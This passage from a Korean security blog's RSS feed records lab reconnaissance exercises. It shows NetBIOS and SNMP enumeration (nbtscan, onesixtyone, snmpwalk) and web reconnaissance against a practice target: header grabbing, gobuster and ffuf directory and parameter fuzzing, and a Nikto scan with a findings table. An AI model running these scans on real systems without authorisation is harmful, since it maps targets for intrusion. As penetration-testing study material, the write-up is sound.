&lt;p data-ke-size=&quot;size16&quot;&gt;$ sudo&amp;nbsp;nbtscan&amp;nbsp;192.168.100.0/24&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- nbtscan: &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;NetBIOS&lt;span&gt; 서비스를 사용하는 장비를 찾아 호스트 이름과 관련 정보를 수집하는 명령어&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 결과: TARGET이라는 이름을 가진 SMB(NetBIOS Name) 장비를 발견했으나 MAC주소는 가져오지 못함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;브로드캐스트 주소로도 보냈으나 운영체제가 차단하여 실패&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;662&quot; data-origin-height=&quot;160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S4qgI/dJMcabxZkjm/N01kKa5iLbAi1WTe8mviO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S4qgI/dJMcabxZkjm/N01kKa5iLbAi1WTe8mviO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S4qgI/dJMcabxZkjm/N01kKa5iLbAi1WTe8mviO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS4qgI%2FdJMcabxZkjm%2FN01kKa5iLbAi1WTe8mviO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;662&quot; height=&quot;160&quot; data-origin-width=&quot;662&quot; data-origin-height=&quot;160&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;확인3. SNMP 열거&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$&amp;nbsp;onesixtyone&amp;nbsp;192.168.100.20&amp;nbsp;-c&amp;nbsp;/usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt&amp;nbsp; &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- onesixtyone: SNMP Community String을 찾는 정보수집(Enumeration) 도구로 모의해킹에서 SNMP가 열려있는지 많이 사용하는 도구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 결과: SNMP Community String으로 설정되어있으며, Host Name, 운영체제 버전/정보 확인 가능&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1020&quot; data-origin-height=&quot;94&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMA6NY/dJMcadWTOR2/nKLhX9EVDf90VoN77XXMKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMA6NY/dJMcadWTOR2/nKLhX9EVDf90VoN77XXMKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMA6NY/dJMcadWTOR2/nKLhX9EVDf90VoN77XXMKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMA6NY%2FdJMcadWTOR2%2FnKLhX9EVDf90VoN77XXMKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1020&quot; height=&quot;94&quot; data-origin-width=&quot;1020&quot; data-origin-height=&quot;94&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$&amp;nbsp;snmpwalk&amp;nbsp;-c&amp;nbsp;public&amp;nbsp;-v1&amp;nbsp;192.168.100.20&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- snmpwalk: SNMP를 이용하여 대상 시스템의 관리 정보(MIB)를 조회하는 명령어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Community String(public)을 사용하여 시스템 정보, 네트워크 정보, 인터페이스 정보 등을 수집&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 결과: SNMP에는 정상적으로 접속되었지만 Kali의 MIB 파일이 누락되어 Cannot find module 오류가 다수 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1077&quot; data-origin-height=&quot;857&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYBTUg/dJMb99UuFhR/pGblqlt18QhR978g8ivNgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYBTUg/dJMb99UuFhR/pGblqlt18QhR978g8ivNgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYBTUg/dJMb99UuFhR/pGblqlt18QhR978g8ivNgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYBTUg%2FdJMb99UuFhR%2FpGblqlt18QhR978g8ivNgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1077&quot; height=&quot;857&quot; data-origin-width=&quot;1077&quot; data-origin-height=&quot;857&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Red, Blue, Target 환경을 통한 해킹 실습</category>
      <author>TungTung0000</author>
      <guid isPermaLink="true">https://yeonni821.tistory.com/44</guid>
      <comments>https://yeonni821.tistory.com/44#entry44comment</comments>
      <pubDate>Fri, 3 Jul 2026 14:24:40 +0900</pubDate>
    </item>
    <item>
      <title>정찰 단계 2 &amp;mdash; 웹 애플리케이션 정보 수집 및 취약점 탐색</title>
      <link>https://yeonni821.tistory.com/43</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;813&quot; data-origin-height=&quot;566&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwqkx8/dJMcaasmXW6/eXYek0ENqpsU0JeVJM46GK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwqkx8/dJMcaasmXW6/eXYek0ENqpsU0JeVJM46GK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwqkx8/dJMcaasmXW6/eXYek0ENqpsU0JeVJM46GK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbwqkx8%2FdJMcaasmXW6%2FeXYek0ENqpsU0JeVJM46GK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;813&quot; height=&quot;566&quot; data-origin-width=&quot;813&quot; data-origin-height=&quot;566&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;확인1. 웹 서버 배너/헤더 수집&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ curl -I http://$TARGET&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;385&quot; data-origin-height=&quot;191&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqW8H1/dJMcahLLd7T/CZTh9WtiUlI2k5Ypqhzt41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqW8H1/dJMcahLLd7T/CZTh9WtiUlI2k5Ypqhzt41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqW8H1/dJMcahLLd7T/CZTh9WtiUlI2k5Ypqhzt41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqW8H1%2FdJMcahLLd7T%2FCZTh9WtiUlI2k5Ypqhzt41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;385&quot; height=&quot;191&quot; data-origin-width=&quot;385&quot; data-origin-height=&quot;191&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ whatweb http://$TARGET&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;949&quot; data-origin-height=&quot;80&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boJDVz/dJMcaf1rBuI/txkL8MXLkOJ5h7NMA4KxLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boJDVz/dJMcaf1rBuI/txkL8MXLkOJ5h7NMA4KxLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boJDVz/dJMcaf1rBuI/txkL8MXLkOJ5h7NMA4KxLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboJDVz%2FdJMcaf1rBuI%2FtxkL8MXLkOJ5h7NMA4KxLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;949&quot; height=&quot;80&quot; data-origin-width=&quot;949&quot; data-origin-height=&quot;80&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;확인2. 디렉토리 탐색 - 다양한 wordlist&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ gobuster&amp;nbsp;dir&amp;nbsp;-u&amp;nbsp;http://$TARGET&amp;nbsp;-w&amp;nbsp;$SL/Discovery/Web-Content/common.txt&amp;nbsp;-x&amp;nbsp;php,html,txt,bak,zip&amp;nbsp;-t&amp;nbsp;50&amp;nbsp;-o&amp;nbsp;~/lab/recon/web/gobuster.txt&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;953&quot; data-origin-height=&quot;294&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Q2EiJ/dJMcaf8ceph/SXjGJOIovwBRS9MBt0f2Ik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Q2EiJ/dJMcaf8ceph/SXjGJOIovwBRS9MBt0f2Ik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Q2EiJ/dJMcaf8ceph/SXjGJOIovwBRS9MBt0f2Ik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQ2EiJ%2FdJMcaf8ceph%2FSXjGJOIovwBRS9MBt0f2Ik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;953&quot; height=&quot;294&quot; data-origin-width=&quot;953&quot; data-origin-height=&quot;294&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;확인3. 디렉터리 퍼징&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 웹 서버에 존재하지만 링크가 걸려 있지 않은 디렉터리나 파일을 찾아내는 기법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ ffuf&amp;nbsp;-u&amp;nbsp;&quot;http://$TARGET/FUZZ&quot;&amp;nbsp;-w&amp;nbsp;/usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt&amp;nbsp;-mc&amp;nbsp;200,301,302,401&amp;nbsp;-t&amp;nbsp;80&amp;nbsp;-o&amp;nbsp;~/lab/recon/web/ffuf.json&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 49.0698%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;옵션&lt;/td&gt;
&lt;td&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.814%;&quot;&gt;-u&lt;/td&gt;
&lt;td style=&quot;width: 28.1395%;&quot;&gt;FUZZ 위치 지정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.814%;&quot;&gt;-w&lt;/td&gt;
&lt;td style=&quot;width: 28.1395%;&quot;&gt;워드리스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.814%;&quot;&gt;-mc&lt;/td&gt;
&lt;td style=&quot;width: 28.1395%;&quot;&gt;200,301,302,401만 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.814%;&quot;&gt;-t 80&lt;/td&gt;
&lt;td style=&quot;width: 28.1395%;&quot;&gt;동시 스레드 80개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.814%;&quot;&gt;-o&lt;/td&gt;
&lt;td style=&quot;width: 28.1395%;&quot;&gt;결과 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;963&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mG0Yb/dJMcaiDVdB3/WUcVoLE7mfavHiQ5udU8g1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mG0Yb/dJMcaiDVdB3/WUcVoLE7mfavHiQ5udU8g1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mG0Yb/dJMcaiDVdB3/WUcVoLE7mfavHiQ5udU8g1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmG0Yb%2FdJMcaiDVdB3%2FWUcVoLE7mfavHiQ5udU8g1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;963&quot; height=&quot;768&quot; data-origin-width=&quot;963&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;확인4. GET 파라미터 퍼징&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ ffuf&amp;nbsp;-u&amp;nbsp;&quot;http://$TARGET/search.php?FUZZ=1&quot;&amp;nbsp;-w&amp;nbsp;$SL/Discovery/Web-Content/burp-parameter-names.txt&amp;nbsp;-mc&amp;nbsp;200&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;887&quot; data-origin-height=&quot;815&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dFk4uR/dJMcagzjblp/Rt6lZnj1xw3Hy1H9eIP4XK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dFk4uR/dJMcagzjblp/Rt6lZnj1xw3Hy1H9eIP4XK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dFk4uR/dJMcagzjblp/Rt6lZnj1xw3Hy1H9eIP4XK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdFk4uR%2FdJMcagzjblp%2FRt6lZnj1xw3Hy1H9eIP4XK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;887&quot; height=&quot;815&quot; data-origin-width=&quot;887&quot; data-origin-height=&quot;815&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- ID, KEY 등의 취약 의심이 가능한 파라미터 다수&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;703&quot; data-origin-height=&quot;721&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z53jT/dJMcaaeQbWt/4IAH8MPKsu5U80kGNGo5OK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z53jT/dJMcaaeQbWt/4IAH8MPKsu5U80kGNGo5OK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z53jT/dJMcaaeQbWt/4IAH8MPKsu5U80kGNGo5OK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz53jT%2FdJMcaaeQbWt%2F4IAH8MPKsu5U80kGNGo5OK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;703&quot; height=&quot;721&quot; data-origin-width=&quot;703&quot; data-origin-height=&quot;721&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;확인5. Nikto 웹 취약점 스캔&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ nikto&amp;nbsp;-h&amp;nbsp;http://$TARGET&amp;nbsp;-Tuning&amp;nbsp;9&amp;nbsp;-o&amp;nbsp;~/lab/recon/web/nikto&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;Nikto: 웹 서버의 취약점 및 설정 오류를 검사하고 결과를 파일로 저장하는 명령어&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Tuning 옵션별 검사 내용&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;파일 업로드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;흥미로운 파일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;설정 오류&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;정보 노출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;인젝션 관련&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;원격 파일 포함(RFI)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;서비스 거부(DoS)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;원격 코드 실행(RCE)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;명령 실행(Command Execution)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;SQL Injection&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;figure data-ke-type=&quot;image&quot; data-ke-style=&quot;alignCenter&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;508&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lB12M/dJMcacDKV5s/OiOqOXBHK3RpHarEKRr70k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lB12M/dJMcacDKV5s/OiOqOXBHK3RpHarEKRr70k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lB12M/dJMcacDKV5s/OiOqOXBHK3RpHarEKRr70k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlB12M%2FdJMcacDKV5s%2FOiOqOXBHK3RpHarEKRr70k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;957&quot; height=&quot;508&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;508&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 30.3488%;&quot;&gt;&lt;b&gt; 결과 &lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 57.4418%;&quot;&gt;&lt;b&gt; 의미 &lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 12.0931%;&quot;&gt;&lt;b&gt; 위험도 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 30.3488%;&quot;&gt;Apache 2.4.52&lt;/td&gt;
&lt;td style=&quot;width: 57.4418%;&quot;&gt;웹 서버 확인&lt;/td&gt;
&lt;td style=&quot;width: 12.0931%; text-align: center;&quot;&gt;정보&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 30.3488%;&quot;&gt;ETag 정보 노출&lt;/td&gt;
&lt;td style=&quot;width: 57.4418%;&quot;&gt;inode 등 정보 노출 가능&lt;/td&gt;
&lt;td style=&quot;width: 12.0931%; text-align: center;&quot;&gt;낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 30.3488%;&quot;&gt;Permissions-Policy 없음&lt;/td&gt;
&lt;td style=&quot;width: 57.4418%;&quot;&gt;보안 헤더 누락&lt;/td&gt;
&lt;td style=&quot;width: 12.0931%; text-align: center;&quot;&gt;낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 30.3488%;&quot;&gt;HSTS 없음&lt;/td&gt;
&lt;td style=&quot;width: 57.4418%;&quot;&gt;HTTPS 강제 안 함&lt;/td&gt;
&lt;td style=&quot;width: 12.0931%; text-align: center;&quot;&gt;중간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 30.3488%;&quot;&gt;CSP 없음&lt;/td&gt;
&lt;td style=&quot;width: 57.4418%;&quot;&gt;XSS 방어 헤더 없음&lt;/td&gt;
&lt;td style=&quot;width: 12.0931%; text-align: center;&quot;&gt;중간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 30.3488%;&quot;&gt;Referrer-Policy 없음&lt;/td&gt;
&lt;td style=&quot;width: 57.4418%;&quot;&gt;Referer 정책 없음&lt;/td&gt;
&lt;td style=&quot;width: 12.0931%; text-align: center;&quot;&gt;낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 30.3488%;&quot;&gt;X-Content-Type-Options 없음&lt;/td&gt;
&lt;td style=&quot;width: 57.4418%;&quot;&gt;MIME Sniffing 방어 없음&lt;/td&gt;
&lt;td style=&quot;width: 12.0931%; text-align: center;&quot;&gt;낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 30.3488%;&quot;&gt;Apache 구버전&lt;/td&gt;
&lt;td style=&quot;width: 57.4418%;&quot;&gt;최신 버전보다 오래됨&lt;/td&gt;
&lt;td style=&quot;width: 12.0931%; text-align: center;&quot;&gt;낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 30.3488%;&quot;&gt;GET/POST/HEAD/OPTIONS 허용&lt;/td&gt;
&lt;td style=&quot;width: 57.4418%;&quot;&gt;허용된 HTTP 메서드 확인&lt;br /&gt;(TRACE와 같은 메서드 허용이 되어있을 경우 취약 가능성 존재)&lt;/td&gt;
&lt;td style=&quot;width: 12.0931%; text-align: center;&quot;&gt;정보&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
